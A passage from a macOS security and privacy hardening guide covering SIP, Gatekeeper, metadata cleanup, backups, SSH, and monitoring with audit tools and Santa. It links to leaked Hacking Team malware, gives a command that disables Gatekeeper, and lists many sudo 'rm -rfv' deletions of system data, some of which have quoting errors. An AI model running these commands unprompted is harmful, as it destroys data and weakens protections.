Also check out [Hacking Team](https://www.schneier.com/blog/archives/2015/07/hacking_team_is.html) malware for macOS: [root installation for MacOS](https://github.com/hackedteam/vector-macos-root), [Support driver for Mac Agent](https://github.com/hackedteam/driver-macos) and [RCS Agent for Mac](https://github.com/hackedteam/core-macos), which is a good example of advanced malware with capabilities to hide from userland (e.g., `ps`, `ls`). For more, see [A Brief Analysis of an RCS Implant Installer](https://objective-see.com/blog/blog_0x0D.html) and [reverse.put.as](https://reverse.put.as/2016/02/29/the-italian-morons-are-back-what-are-they-up-to-this-time/)
## System Integrity Protection
[System Integrity Protection](https://support.apple.com/en-us/HT204899) (SIP) is a security feature since OS X 10.11 "El Capitan". It is enabled by default, but [can be disabled](https://derflounder.wordpress.com/2015/10/01/system-integrity-protection-adding-another-layer-to-apples-security-model/), which may be necessary to change some system settings, such as deleting root certificate authorities or unloading certain launch daemons. Keep this feature on, as it is by default.
From [What's New in OS X 10.11](https://developer.apple.com/library/prerelease/mac/releasenotes/MacOSX/WhatsNewInOSX/Articles/MacOSX10_11.html):
> A new security policy that applies to every running process, including privileged code and code that runs out of the sandbox. The policy extends additional protections to components on disk and at run-time, only allowing system binaries to be modified by the system installer and software updates. Code injection and runtime attachments to system binaries are no longer permitted.
Also see [What is the “rootless” feature in El Capitan, really?](https://apple.stackexchange.com/questions/193368/what-is-the-rootless-feature-in-el-capitan-really)
Some MacBook hardware has shipped with [SIP disabled](https://appleinsider.com/articles/16/11/17/system-integrity-protection-disabled-by-default-on-some-touch-bar-macbook-pros). To verify SIP is enabled, use the command `csrutil status`, which should return: `System Integrity Protection status: enabled.` Otherwise, [enable SIP](https://developer.apple.com/library/content/documentation/Security/Conceptual/System_Integrity_Protection_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) through Recovery Mode.
## Gatekeeper and XProtect
**Gatekeeper** and the **quarantine** system try to prevent unsigned or "bad" programs and files from running and opening.
**XProtect** prevents the execution of known bad files and outdated plugin versions, but does nothing to cleanup or stop existing malware.
Both offer trivial protection against common risks and are fine at default settings.
See also [Mac Malware Guide : How does Mac OS X protect me?](http://www.thesafemac.com/mmg-builtin/) and [Gatekeeper, XProtect and the Quarantine attribute](https://ilostmynotes.blogspot.com/2012/06/gatekeeper-xprotect-and-quarantine.html).
**Note** Quarantine stores information about downloaded files in `~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`, which may pose a privacy risk. To examine the file, simply use `strings` or the following command:
```console
$ echo 'SELECT datetime(LSQuarantineTimeStamp + 978307200, "unixepoch") as LSQuarantineTimeStamp, ' \
'LSQuarantineAgentName, LSQuarantineOriginURLString, LSQuarantineDataURLString from LSQuarantineEvent;' | \
sqlite3 /Users/$USER/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2
```
See [here](https://www.zoharbabin.com/hey-mac-i-dont-appreciate-you-spying-on-me-hidden-downloads-log-in-os-x/) for more information.
To permanently disable this feature, [clear the file](https://superuser.com/questions/90008/how-to-clear-the-contents-of-a-file-from-the-command-line) and [make it immutable](http://hints.macworld.com/article.php?story=20031017061722471):
```console
$ :>~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2
$ sudo chflags schg ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2
```
Alternatively, you can also disable Gatekeeper using the following command:
```sudo spctl --master-disable```
(See <https://disable-gatekeeper.github.io/> and <https://objective-see.com/blog/blog_0x64.html> for reference)
## Metadata and artifacts
macOS attaches metadata ([HFS+ extended attributes](https://en.wikipedia.org/wiki/Extended_file_attributes#OS_X)) to downloaded files, which can be viewed with the `mdls` and `xattr` commands:
```console
$ ls -l@ ~/Downloads/TorBrowser-8.0.4-osx64_en-US.dmg
-rw-r--r--@ 1 drduh staff 63M Jan 1 12:00 TorBrowser-8.0.4-osx64_en-US.dmg
com.apple.metadata:kMDItemWhereFroms 46B
com.apple.quarantine 57B
$ mdls ~/Downloads/TorBrowser-8.0.4-osx64_en-US.dmg
kMDItemContentCreationDate = 2019-01-01 00:00:00 +0000
kMDItemContentCreationDate_Ranking = 2019-01-01 00:00:00 +0000
kMDItemContentModificationDate = 2019-01-01 00:00:00 +0000
kMDItemContentType = "com.apple.disk-image-udif"
kMDItemContentTypeTree = (
"public.archive",
"public.item",
"public.data",
"public.disk-image",
"com.apple.disk-image",
"com.apple.disk-image-udif"
)
kMDItemDateAdded = 2019-01-01 00:00:00 +0000
kMDItemDateAdded_Ranking = 2019-01-01 00:00:00 +0000
kMDItemDisplayName = "TorBrowser-8.0.4-osx64_en-US.dmg"
kMDItemFSContentChangeDate = 2019-01-01 00:00:00 +0000
kMDItemFSCreationDate = 2019-01-01 00:00:00 +0000
kMDItemFSCreatorCode = ""
kMDItemFSFinderFlags = 0
kMDItemFSHasCustomIcon = (null)
kMDItemFSInvisible = 0
kMDItemFSIsExtensionHidden = 0
kMDItemFSIsStationery = (null)
kMDItemFSLabel = 0
kMDItemFSName = "TorBrowser-8.0.4-osx64_en-US.dmg"
kMDItemFSNodeCount = (null)
kMDItemFSOwnerGroupID = 5000
kMDItemFSOwnerUserID = 501
kMDItemFSSize = 65840402
kMDItemFSTypeCode = ""
kMDItemInterestingDate_Ranking = 2019-01-01 00:00:00 +0000
kMDItemKind = "Disk Image"
kMDItemWhereFroms = (
"https://dist.torproject.org/torbrowser/8.0.4/TorBrowser-8.0.4-osx64_en-US.dmg",
"https://www.torproject.org/projects/torbrowser.html.en"
)
$ xattr -l ~/Downloads/TorBrowser-8.0.4-osx64_en-US.dmg
com.apple.metadata:kMDItemWhereFroms:
00000000 62 70 6C 69 73 74 30 30 A2 01 02 5F 10 4D 68 74 |bplist00..._.Mht|
00000010 74 70 73 3A 2F 2F 64 69 73 74 2E 74 6F 72 70 72 |tps://dist.torpr|
00000020 6F 6A 65 63 74 2E 6F 72 67 2F 74 6F 72 62 72 6F |oject.org/torbro|
[...]
com.apple.quarantine: 0081;58519ffa;Google Chrome.app;1F032CAB-F5A1-4D92-84EB-CBECA971B7BC
```
Metadata attributes can also be removed with the `-d` flag:
```console
$ xattr -d com.apple.metadata:kMDItemWhereFroms ~/Downloads/TorBrowser-8.0.4-osx64_en-US.dmg
$ xattr -d com.apple.quarantine ~/Downloads/TorBrowser-8.0.4-osx64_en-US.dmg
$ xattr -l ~/Downloads/TorBrowser-8.0.4-osx64_en-US.dmg
[No output expected]
```
Other metadata and artifacts may be found in the directories including, but not limited to, `~/Library/Preferences/`, `~/Library/Containers/<APP>/Data/Library/Preferences`, `/Library/Preferences`, some of which is detailed below.
`~/Library/Preferences/com.apple.sidebarlists.plist` contains historical list of volumes attached. To clear it, use the command `/usr/libexec/PlistBuddy -c "delete :systemitems:VolumesList" ~/Library/Preferences/com.apple.sidebarlists.plist`
`/Library/Preferences/com.apple.Bluetooth.plist` contains Bluetooth metadata, including device history. If Bluetooth is not used, the metadata can be cleared with:
```console
$ sudo defaults delete /Library/Preferences/com.apple.Bluetooth.plist DeviceCache
$ sudo defaults delete /Library/Preferences/com.apple.Bluetooth.plist IDSPairedDevices
$ sudo defaults delete /Library/Preferences/com.apple.Bluetooth.plist PANDevices
$ sudo defaults delete /Library/Preferences/com.apple.Bluetooth.plist PANInterfaces
$ sudo defaults delete /Library/Preferences/com.apple.Bluetooth.plist SCOAudioDevices
```
`/var/spool/cups` contains the CUPS printer job cache. To clear it, use the commands:
```console
$ sudo rm -rfv /var/spool/cups/c0*
$ sudo rm -rfv /var/spool/cups/tmp/*
$ sudo rm -rfv /var/spool/cups/cache/job.cache*
```
To clear the list of iOS devices connected, use:
```console
$ sudo defaults delete /Users/$USER/Library/Preferences/com.apple.iPod.plist "conn:128:Last Connect"
$ sudo defaults delete /Users/$USER/Library/Preferences/com.apple.iPod.plist Devices
$ sudo defaults delete /Library/Preferences/com.apple.iPod.plist "conn:128:Last Connect"
$ sudo defaults delete /Library/Preferences/com.apple.iPod.plist Devices
$ sudo rm -rfv /var/db/lockdown/*
```
Quicklook thumbnail data can be cleared using the `qlmanage -r cache` command, but this writes to the file `resetreason` in the Quicklook directories, and states that the Quicklook cache was manually cleared. Disable the thumbnail cache with `qlmanage -r disablecache`
It can also be manually cleared by getting the directory names with `getconf DARWIN_USER_CACHE_DIR` and `sudo getconf DARWIN_USER_CACHE_DIR`, then removing them:
```console
$ rm -rfv $(getconf DARWIN_USER_CACHE_DIR)/com.apple.QuickLook.thumbnailcache/exclusive
$ rm -rfv $(getconf DARWIN_USER_CACHE_DIR)/com.apple.QuickLook.thumbnailcache/index.sqlite
$ rm -rfv $(getconf DARWIN_USER_CACHE_DIR)/com.apple.QuickLook.thumbnailcache/index.sqlite-shm
$ rm -rfv $(getconf DARWIN_USER_CACHE_DIR)/com.apple.QuickLook.thumbnailcache/index.sqlite-wal
$ rm -rfv $(getconf DARWIN_USER_CACHE_DIR)/com.apple.QuickLook.thumbnailcache/resetreason
$ rm -rfv $(getconf DARWIN_USER_CACHE_DIR)/com.apple.QuickLook.thumbnailcache/thumbnails.data
```
Similarly, for the root user:
```console
$ sudo rm -rfv $(getconf DARWIN_USER_CACHE_DIR)/com.apple.QuickLook.thumbnailcache/thumbnails.fraghandler
$ sudo rm -rfv $(getconf DARWIN_USER_CACHE_DIR)/com.apple.QuickLook.thumbnailcache/exclusive
$ sudo rm -rfv $(getconf DARWIN_USER_CACHE_DIR)/com.apple.QuickLook.thumbnailcache/index.sqlite
$ sudo rm -rfv $(getconf DARWIN_USER_CACHE_DIR)/com.apple.QuickLook.thumbnailcache/index.sqlite-shm
$ sudo rm -rfv $(getconf DARWIN_USER_CACHE_DIR)/com.apple.QuickLook.thumbnailcache/index.sqlite-wal
$ sudo rm -rfv $(getconf DARWIN_USER_CACHE_DIR)/com.apple.QuickLook.thumbnailcache/resetreason
$ sudo rm -rfv $(getconf DARWIN_USER_CACHE_DIR)/com.apple.QuickLook.thumbnailcache/thumbnails.data
$ sudo rm -rfv $(getconf DARWIN_USER_CACHE_DIR)/com.apple.QuickLook.thumbnailcache/thumbnails.fraghandler
```
Also see ['quicklook' cache may leak encrypted data](https://objective-see.com/blog/blog_0x30.html).
To clear Finder preferences:
```console
$ defaults delete ~/Library/Preferences/com.apple.finder.plist FXDesktopVolumePositions
$ defaults delete ~/Library/Preferences/com.apple.finder.plist FXRecentFolders
$ defaults delete ~/Library/Preferences/com.apple.finder.plist RecentMoveAndCopyDestinations
$ defaults delete ~/Library/Preferences/com.apple.finder.plist RecentSearches
$ defaults delete ~/Library/Preferences/com.apple.finder.plist SGTRecentFileSearches
```
Additional diagnostic files may be found in the following directories - but caution should be taken before removing any, as it may break logging or cause other issues:
```
/var/db/CoreDuet/
/var/db/diagnostics/
/var/db/systemstats/
/var/db/uuidtext/
/var/log/DiagnosticMessages/
```
macOS stored preferred Wi-Fi data (including credentials) in NVRAM. To clear it, use the following commands:
```console
$ sudo nvram -d 36C28AB5-6566-4C50-9EBD-CBB920F83843:current-network
$ sudo nvram -d 36C28AB5-6566-4C50-9EBD-CBB920F83843:preferred-networks
$ sudo nvram -d 36C28AB5-6566-4C50-9EBD-CBB920F83843:preferred-count
```
macOS may collect sensitive information about what you type, even if user dictionary and suggestions are off. To remove them, and prevent them from being created again, use the following commands:
```console
$ rm -rfv "~/Library/LanguageModeling/*" "~/Library/Spelling/*" "~/Library/Suggestions/*"
$ chmod -R 000 ~/Library/LanguageModeling ~/Library/Spelling ~/Library/Suggestions
$ chflags -R uchg ~/Library/LanguageModeling ~/Library/Spelling ~/Library/Suggestions
```
QuickLook application support metadata can be cleared and locked with the following commands:
```console
$ rm -rfv "~/Library/Application Support/Quick Look/*"
$ chmod -R 000 "~/Library/Application Support/Quick Look"
$ chflags -R uchg "~/Library/Application Support/Quick Look"
```
Document revision metadata is stored in `/.DocumentRevisions-V100` and can be cleared and locked with the following commands - caution should be taken as this may break some core Apple applications:
```console
$ sudo rm -rfv /.DocumentRevisions-V100/*
$ sudo chmod -R 000 /.DocumentRevisions-V100
$ sudo chflags -R uchg /.DocumentRevisions-V100
```
Saved application state metadata may be cleared and locked with the following commands:
```console
$ rm -rfv "~/Library/Saved Application State/*"
$ rm -rfv "~/Library/Containers/<APPNAME>/Saved Application State"
$ chmod -R 000 "~/Library/Saved Application State/"
$ chmod -R 000 "~/Library/Containers/<APPNAME>/Saved Application State"
$ chflags -R uchg "~/Library/Saved Application State/"
$ chflags -R uchg "~/Library/Containers/<APPNAME>/Saved Application State"
```
Autosave metadata can be cleared and locked with the following commands:
```console
$ rm -rfv "~/Library/Containers/<APP>/Data/Library/Autosave Information"
$ rm -rfv "~/Library/Autosave Information"
$ chmod -R 000 "~/Library/Containers/<APP>/Data/Library/Autosave Information"
$ chmod -R 000 "~/Library/Autosave Information"
$ chflags -R uchg "~/Library/Containers/<APP>/Data/Library/Autosave Information"
$ chflags -R uchg "~/Library/Autosave Information"
```
The Siri analytics database, which is created even if the Siri launch agent disabled, can be cleared and locked with the following commands:
```console
$ rm -rfv ~/Library/Assistant/SiriAnalytics.db
$ chmod -R 000 ~/Library/Assistant/SiriAnalytics.db
$ chflags -R uchg ~/Library/Assistant/SiriAnalytics.db
```
`~/Library/Preferences/com.apple.iTunes.plist` contains iTunes metadata. Recent iTunes search data may be cleared with the following command:
```console
$ defaults delete ~/Library/Preferences/com.apple.iTunes.plist recentSearches
```
If you do not use Apple ID-linked services, the following keys may be cleared, too, using the following commands:
```console
$ defaults delete ~/Library/Preferences/com.apple.iTunes.plist StoreUserInfo
$ defaults delete ~/Library/Preferences/com.apple.iTunes.plist WirelessBuddyID
```
All media played in QuickTime Player can be found in:
```
~/Library/Containers/com.apple.QuickTimePlayerX/Data/Library/Preferences/com.apple.QuickTimePlayerX.plist
```
Additional metadata may exist in the following files:
```
~/Library/Containers/com.apple.appstore/Data/Library/Preferences/com.apple.commerce.knownclients.plist
~/Library/Preferences/com.apple.commerce.plist
~/Library/Preferences/com.apple.QuickTimePlayerX.plist
```
## Passwords
Generate strong passwords with several programs or directly from [`/dev/urandom`](https://github.com/jedisct1/libsodium/issues/594):
```console
$ openssl rand -base64 30
qb8ZWbUU2Ri3FOAPY/1wKSFAJwMXmpQM4mZU4YbO
$ gpg --gen-random -a 0 90 | fold -w 40
3e+kfHOvovHVXxZYPgu+OOWQ1g1ttbljr+kNGv7f
loD//RsjUXYGIjfPM/bT0itsoEstyGLVUsFns8wP
zYM8VRBga+TsnxWrS7lWKfH1uvVPowzkq9kXCdvJ
$ LANG=C tr -dc 'A-F0-9' < /dev/urandom | fold -w 40 | head -n 5
45D0371481EE5E5A5C1F68EA59E69F9CA52CB321
A30B37A00302643921F205621B145E7EAF520164
B6EF38A2DA1D0586D20105502AFFF0468EA5F16A
029D6EA9F76CD64D3356E342EA154BEFEBE23387
07F468F0569579A0A06471247CABC4F4C1386E24
$ tr -dc '[:alnum:]' < /dev/urandom | fold -w 40 | head -n5
zmj8S0iuxud8y8YHjzdg7Hefu6U1KAYBiLl3aE8v
nCNpuMkWohTjQHntTzbiLQJG5zLzEHWSWaYSwjtm
R2L6M909S3ih852IkJqQFMDawCiHcpPBxlllAPrt
aZOXKVUmxhzQwVSYb6nqAbGTVMFSJOLf094bFZAb
HfgwSNlkVBXwIPQST6E6x6vDNCCasMLSSOoTUfSK
$ tr -dc '[:lower:]' < /dev/urandom | fold -w 40 | head -n5
gfvkanntxutzwxficgvavbwdvttexdezdftvvtmn
lgrsuiugwkqbtbkyggcbpbqlynwbiyxzlabstqcf
ufctdlsbyonkowzpmotxiksnsbwdzkjrjsupoqvr
hjwibdjxtmuvqricljayzkgdfztcmapsgwsubggr
bjstlmvwjczakgeetkbmwbjnidbeaerhaonpkacg
$ tr -dc '[:upper:]' < /dev/urandom | fold -w 40 | head -n5
EUHZMAOBOLNFXUNNDSTLJTPDCPVQBPUEQOLRZUQZ
HVNVKBEPAAYMXRCGVCNEZLFHNUYMRYPTWPWOOZVM
TAHEUPQJTSYQVJVYSKLURESMKWEZONXLUDHWQODB
PRDITWMAXXZLTRXEEOGOSGAWUXYDGDRJYRHUWICM
VHERIQBLBPHSIUZSGYZRDHTNAPUGJMRODIKBWZRJ
$ tr -dc '[:graph:]' < /dev/urandom | fold -w 40 | head -n5
n\T2|zUz:\C,@z9!#p3!B/[t6m:B94}q&t(^)Ol~
J%MMDbAgGdP}zrSQO!3mrP3$w!.[Ng_xx-_[C<3g
^)6V&*<2"ZOgU.mBd]iInvFKiT<dq~y\O[cdDK`V
+RE]UYPIf3:StX`y#w,.iG~g"urD)'FnDIFI_q^)
6?HRillpgvvFDBAr4[:H{^oAL<`Em7$roF=2w;1~
```
You can also generate passwords, even memorable ones, using **Keychain Access** password assistant, or a command line equivalent like [anders/pwgen](https://github.com/anders/pwgen).
Keychains are encrypted with a [PBKDF2 derived key](https://en.wikipedia.org/wiki/PBKDF2) and are a _pretty safe_ place to store credentials. See also [Breaking into the OS X keychain](http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain). Also be aware that Keychain [does not encrypt](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/118) the names corresponding to password entries.
Alternatively, you can manage an encrypted passwords file yourself with GnuPG (see [drduh/Purse](https://github.com/drduh/Purse) and [drduh/pwd.sh](https://github.com/drduh/pwd.sh) for example).
In addition to passwords, ensure eligible online accounts, such as GitHub, Google accounts, banking, have [two factor authentication](https://en.wikipedia.org/wiki/Two-factor_authentication) enabled.
[Yubikey](https://www.yubico.com/products/yubikey-hardware/) offers affordable hardware tokens. See [drduh/YubiKey-Guide](https://github.com/drduh/YubiKey-Guide) and [trmm.net/Yubikey](https://trmm.net/Yubikey). One of two Yubikey's slots can also be programmed to emit a long, static password (which can be used in combination with a short, memorized password, for example).
In Addition to Login and other PAMs, you can use Yubikey to secure your login and sudo, here is a pdf guide from [Yubico](https://www.yubico.com/wp-content/uploads/2016/02/Yubico_YubiKeyMacOSXLogin_en.pdf). Yubikey are a bit pricey, there is cheaper alternative, but not as capable, [U2F Zero](https://www.u2fzero.com/). Here is a great guide to [set it up](https://microamps.gibsjose.com/u2f-authentication-on-os-x/)
## Backup
Always encrypt files locally before backing them up to external media or online services.
One way is to use a symmetric cipher with GPG and a password of your choosing. Files can also be encrypted to a public key with GPG, with the private key stored on [YubiKey](https://github.com/drduh/YubiKey-Guide).
To compress and encrypt a directory:
```console
$ tar zcvf - ~/Downloads | gpg -c > ~/Desktop/backup-$(date +%F-%H%M).tar.gz.gpg
tar: Removing leading '/' from member names
a Users/drduh/Downloads
a Users/drduh/Downloads/.DS_Store
a Users/drduh/Downloads/.localized
a Users/drduh/Downloads/TorBrowser-8.0.4-osx64_en-US.dmg.asc
a Users/drduh/Downloads/TorBrowser-8.0.4-osx64_en-US.dmg
```
To decrypt and decompress the directory:
```console
$ gpg -o ~/Desktop/decrypted-backup.tar.gz -d ~/Desktop/backup-2015-01-01-0000.tar.gz.gpg
gpg: AES256 encrypted data
gpg: encrypted with 1 passphrase
$ tar zxvf ~/Desktop/decrypted-backup.tar.gz
tar: Removing leading '/' from member names
x Users/drduh/._Downloads
x Users/drduh/Downloads/
x Users/drduh/Downloads/._.DS_Store
x Users/drduh/Downloads/.DS_Store
x Users/drduh/Downloads/.localized
x Users/drduh/Downloads/._TorBrowser-8.0.4-osx64_en-US.dmg.asc
x Users/drduh/Downloads/TorBrowser-8.0.4-osx64_en-US.dmg.asc
x Users/drduh/Downloads/._TorBrowser-8.0.4-osx64_en-US.dmg
x Users/drduh/Downloads/TorBrowser-8.0.4-osx64_en-US.dmg
```
You can also create and use encrypted volumes using **Disk Utility** or `hdiutil`:
```console
$ hdiutil create ~/Desktop/encrypted.dmg -encryption -size 50M -volname "secretStuff" -fs JHFS+
Enter a new password to secure "encrypted.dmg":
Re-enter new password:
....................................
Created: /Users/drduh/Desktop/encrypted.img
$ hdiutil mount ~/Desktop/encrypted.dmg
Enter password to access "encrypted.dmg":
[...]
/Volumes/secretStuff
$ cp -v ~/Documents/passwords.txt /Volumes/secretStuff
[...]
$ hdiutil eject /Volumes/secretStuff
"disk4" unmounted.
"disk4" ejected.
```
With `hdiutil` you are also able to add the option `-type SPARSE-BUNDLE`. With these sparse bundles you may achieve faster backups because after the first run, the updated information and some padding needs to be transferred.
A simple way to synchronize this encrypted folder to another server is using rsync:
```console
rsync --recursive --times --progress --delete --verbose --stats MyEncryptedDrive.sparsebundle user@server:/path/to/backup
```
See also the following applications and services: [Tresorit](https://www.tresorit.com), [SpiderOak](https://www.spideroak.com/), [Arq](https://www.arqbackup.com/), [Espionage](https://www.espionageapp.com/), and [restic](https://restic.github.io/).
## Wi-Fi
macOS remembers access points it has connected to. Like all wireless devices, the Mac will broadcast all access point names it remembers (e.g., *MyHomeNetwork*) each time it looks for a network, such as when waking from sleep.
This is a privacy risk, so remove networks from the list in **System Preferences** > **Network** > **Advanced** when they are no longer needed.
Also see [Signals from the Crowd: Uncovering Social Relationships through Smartphone Probes](https://conferences.sigcomm.org/imc/2013/papers/imc148-barberaSP106.pdf) (pdf) and [Wi-Fi told me everything about you](http://confiance-numerique.clermont-universite.fr/Slides/M-Cunche-2014.pdf) (pdf).
Saved Wi-Fi information (SSID, last connection, etc.) can be found in:
/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist
You may want to [spoof the MAC address](https://en.wikipedia.org/wiki/MAC_spoofing) of the network card before connecting to new and untrusted wireless networks to mitigate passive fingerprinting:
```console
$ sudo ifconfig en0 ether $(openssl rand -hex 6 | sed 's%\(..\)%\1:%g; s%.$%%')
```
macOS stores Wi-Fi SSIDs and passwords in NVRAM in order for Recovery Mode to access the Internet. Be sure to either clear NVRAM or de-authenticate your Mac from your Apple account, which will clear the NVRAM, before passing a Mac along. Resetting the SMC will clear some of the NVRAM, but not all.
**Note** MAC addresses will reset to hardware defaults on each boot.
Finally, WEP protection on wireless networks is [not secure](http://www.howtogeek.com/167783/htg-explains-the-difference-between-wep-wpa-and-wpa2-wireless-encryption-and-why-it-matters/) and you should only connect to **WPA2** protected networks when possible.
## SSH
For outgoing SSH connections, use hardware or password-protected keys, [set up](http://nerderati.com/2011/03/17/simplify-your-life-with-an-ssh-config-file/) remote hosts and consider [hashing](http://nms.csail.mit.edu/projects/ssh/) them for added privacy. See [drduh/config/ssh_config](https://github.com/drduh/config/blob/master/ssh_config) for recommended client options.
You can also use ssh to create an [encrypted tunnel](http://blog.trackets.com/2014/05/17/ssh-tunnel-local-and-remote-port-forwarding-explained-with-examples.html) to send traffic through, similar to a VPN.
For example, to use Privoxy running on a remote host port 8118:
```console
$ ssh -C -L 5555:127.0.0.1:8118 you@remote-host.tld
$ sudo networksetup -setwebproxy "Wi-Fi" 127.0.0.1 5555
$ sudo networksetup -setsecurewebproxy "Wi-Fi" 127.0.0.1 5555
```
Or to use an ssh connection as a [SOCKS proxy](https://www.mikeash.com/ssh_socks.html):
```console
$ ssh -NCD 3000 you@remote-host.tld
```
By default, macOS does **not** have sshd or *Remote Login* enabled.
To enable sshd and allow incoming ssh connections:
```console
$ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
```
Or use the **System Preferences** > **Sharing** menu.
If enabling sshd, be sure to disable password authentication and consider further [hardening](https://stribika.github.io/2015/01/04/secure-secure-shell.html) your configuration. See [drduh/config/sshd_config](https://github.com/drduh/config/blob/master/sshd_config) for recommended options.
Confirm whether sshd is running:
```console
$ sudo lsof -Pni TCP:22
```
## Physical access
Keep your Mac physically secure at all times. Don't leave it unattended in public spaces, such as hotels.
A skilled attacker with unsupervised physical access to your computer can infect the boot ROM to install a keylogger and steal your password, for example - see [Thunderstrike](https://trmm.net/Thunderstrike).
To protect against physical theft during use, you can use an anti-forensic tool like [BusKill](https://github.com/buskill/buskill-app) or [usbkill](https://github.com/hephaest0s/usbkill). Both respond to USB events and can immediately shutdown your computer if your device is physically separated from you.
Consider purchasing a [privacy filter](https://www.amazon.com/s/ref=nb_sb_noss_2?url=node%3D15782001&field-keywords=macbook) for your screen to thwart shoulder surfers.
Superglues or epoxy resins can also be used to disable physical access to computer ports. [Nail polish](https://trmm.net/Glitter) and tamper-evidence seals can be applied to components to detect tampering.
## System monitoring
### OpenBSM audit
macOS has a powerful OpenBSM (Basic Security Module) auditing capability. You can use it to monitor process execution, network activity, and much more.
To tail audit logs, use the `praudit` utility:
```console
$ sudo praudit -l /dev/auditpipe
header,201,11,execve(2),0,Thu Sep 1 12:00:00 2015, + 195 msec,exec arg,/Applications/.evilapp/rootkit,path,/Applications/.evilapp/rootkit,path,/Applications/.evilapp/rootkit,attribute,100755,root,wheel,16777220,986535,0,subject,drduh,root,wheel,root,wheel,412,100005,50511731,0.0.0.0,return,success,0,trailer,201,
header,88,11,connect(2),0,Thu Sep 1 12:00:00 2015, + 238 msec,argument,1,0x5,fd,socket-inet,2,443,173.194.74.104,subject,drduh,root,wheel,root,wheel,326,100005,50331650,0.0.0.0,return,failure : Operation now in progress,4354967105,trailer,88
header,111,11,OpenSSH login,0,Thu Sep 1 12:00:00 2015, + 16 msec,subject_ex,drduh,drduh,staff,drduh,staff,404,404,49271,::1,text,successful login drduh,return,success,0,trailer,111,
```
See the manual pages for `audit`, `praudit`, `audit_control` and other files in `/etc/security`
**Note** although `man audit` says the `-s` flag will synchronize the audit configuration, it appears necessary to reboot for changes to take effect.
See articles on [ilostmynotes.blogspot.com](https://ilostmynotes.blogspot.com/2013/10/openbsm-auditd-on-os-x-these-are-logs.html) and [derflounder.wordpress.com](https://derflounder.wordpress.com/2012/01/30/openbsm-auditing-on-mac-os-x/) for more information.
### DTrace
**Note** [System Integrity Protection](https://github.com/drduh/macOS-Security-and-Privacy-Guide#system-integrity-protection) [interferes](https://internals.exposed/blog/dtrace-vs-sip.html) with DTrace, so it is not possible to use it in recent macOS versions without disabling SIP.
* `iosnoop` monitors disk I/O
* `opensnoop` monitors file opens
* `execsnoop` monitors execution of processes
* `errinfo` monitors failed system calls
* `dtruss` monitors all system calls
See `man -k dtrace` for more information.
### Execution
`ps -ef` lists information about all running processes.
You can also view processes with **Activity Monitor**.
`launchctl list` and `sudo launchctl list` list loaded and running user and system launch daemons and agents.
### Network
List open network files:
```console
$ sudo lsof -Pni
```
List contents of various network-related data structures:
```console
$ sudo netstat -atln
```
[Wireshark](https://www.wireshark.org/) can be used from the command line with `tshark`.
Monitor DNS queries and replies:
```console
$ tshark -Y "dns.flags.response == 1" -Tfields \
-e frame.time_delta \
-e dns.qry.name \
-e dns.a \
-Eseparator=,
```
Monitor HTTP requests and responses:
```console
$ tshark -Y "http.request or http.response" -Tfields \
-e ip.dst \
-e http.request.full_uri \
-e http.request.method \
-e http.response.code \
-e http.response.phrase \
-Eseparator=/s
```
Monitor x509 (SSL/TLS) certificates:
```console
$ tshark -Y "ssl.handshake.certificate" -Tfields \
-e ip.src \
-e x509sat.uTF8String \
-e x509sat.printableString \
-e x509sat.universalString \
-e x509sat.IA5String \
-e x509sat.teletexString \
-Eseparator=/s -Equote=d
```
Also see the simple networking monitoring application [BonzaiThePenguin/Loading](https://github.com/BonzaiThePenguin/Loading).
## Binary Whitelisting
[google/santa](https://github.com/google/santa/) is a security software developed for Google's corporate Macintosh fleet and open sourced.
> Santa is a binary whitelisting/blacklisting system for macOS. It consists of a kernel extension that monitors for executions, a userland daemon that makes execution decisions based on the contents of a SQLite database, a GUI agent that notifies the user in case of a block decision and a command-line utility for managing the system and synchronizing the database with a server.
Santa uses the [Kernel Authorization API](https://developer.apple.com/library/content/technotes/tn2127/_index.html) to monitor and allow/disallow binaries from executing in the kernel. Binaries can be white- or black-listed by unique hash or signing developer certificate. Santa can be used to only allow trusted code execution, or to blacklist known malware from executing on a Mac, similar to Bit9 software for Windows.
**Note** Santa does not currently have a graphical user interface for managing rules. The following instructions are for advanced users only!
To install Santa, visit the [Releases](https://github.com/google/santa/releases) page and download the latest disk image, the mount it and install the contained package:
```console
$ hdiutil mount ~/Downloads/santa-0.9.20.dmg
$ sudo installer -pkg /Volumes/santa-0.9.20/santa-0.9.20.pkg -tgt /
```
By default, Santa installs in "Monitor" mode (meaning, nothing gets blocked, only logged) and comes with two rules: one for Apple binaries and another for Santa software itself.
Verify Santa is running and its kernel module is loaded:
```console
$ santactl status
>>> Daemon Info
Mode | Monitor
File Logging | No
Watchdog CPU Events | 0 (Peak: 0.00%)
Watchdog RAM Events | 0 (Peak: 0.00MB)
>>> Kernel Info
Kernel cache count | 0
>>> Database Info
Binary Rules | 0
Certificate Rules | 2
Events Pending Upload | 0
$ ps -ef | grep "[s]anta"
0 786 1 0 10:01AM ?? 0:00.39 /Library/Extensions/santa-driver.kext/Contents/MacOS/santad --syslog
$ kextstat | grep santa
119 0 0xffffff7f822ff000 0x6000 0x6000 com.google.santa-driver (0.9.14) 693D8E4D-3161-30E0-B83D-66A273CAE026 <5 4 3 1>
```
Create a blacklist rule to prevent iTunes from executing:
```console
$ sudo santactl rule --blacklist --path /Applications/iTunes.app/
Added rule for SHA-256: e1365b51d2cb2c8562e7f1de36bfb3d5248de586f40b23a2ed641af2072225b3.
```
Try to launch iTunes - it will be blocked.
```console
$ open /Applications/iTunes.app/
LSOpenURLsWithRole() failed with error -10810 for the file /Applications/iTunes.app.
```
<img width="450" alt="Santa block dialog when attempting to run a blacklisted program" src="https://cloud.githubusercontent.com/assets/12475110/21062284/14ddde88-be1e-11e6-8e9b-32f8a44c0cf6.png">
To remove the rule:
```console
$ sudo santactl rule --remove --path /Applications/iTunes.app/
Removed rule for SHA-256: e1365b51d2cb2c8562e7f1de36bfb3d5248de586f40b23a2ed641af2072225b3.
```
Open iTunes:
```console
$ open /Applications/iTunes.app/
[iTunes will open successfully]
```
Create a new, example C program:
```console
$ cat <<EOF > foo.c
> #include <stdio.h>
> main() { printf("Hello World\n”); }
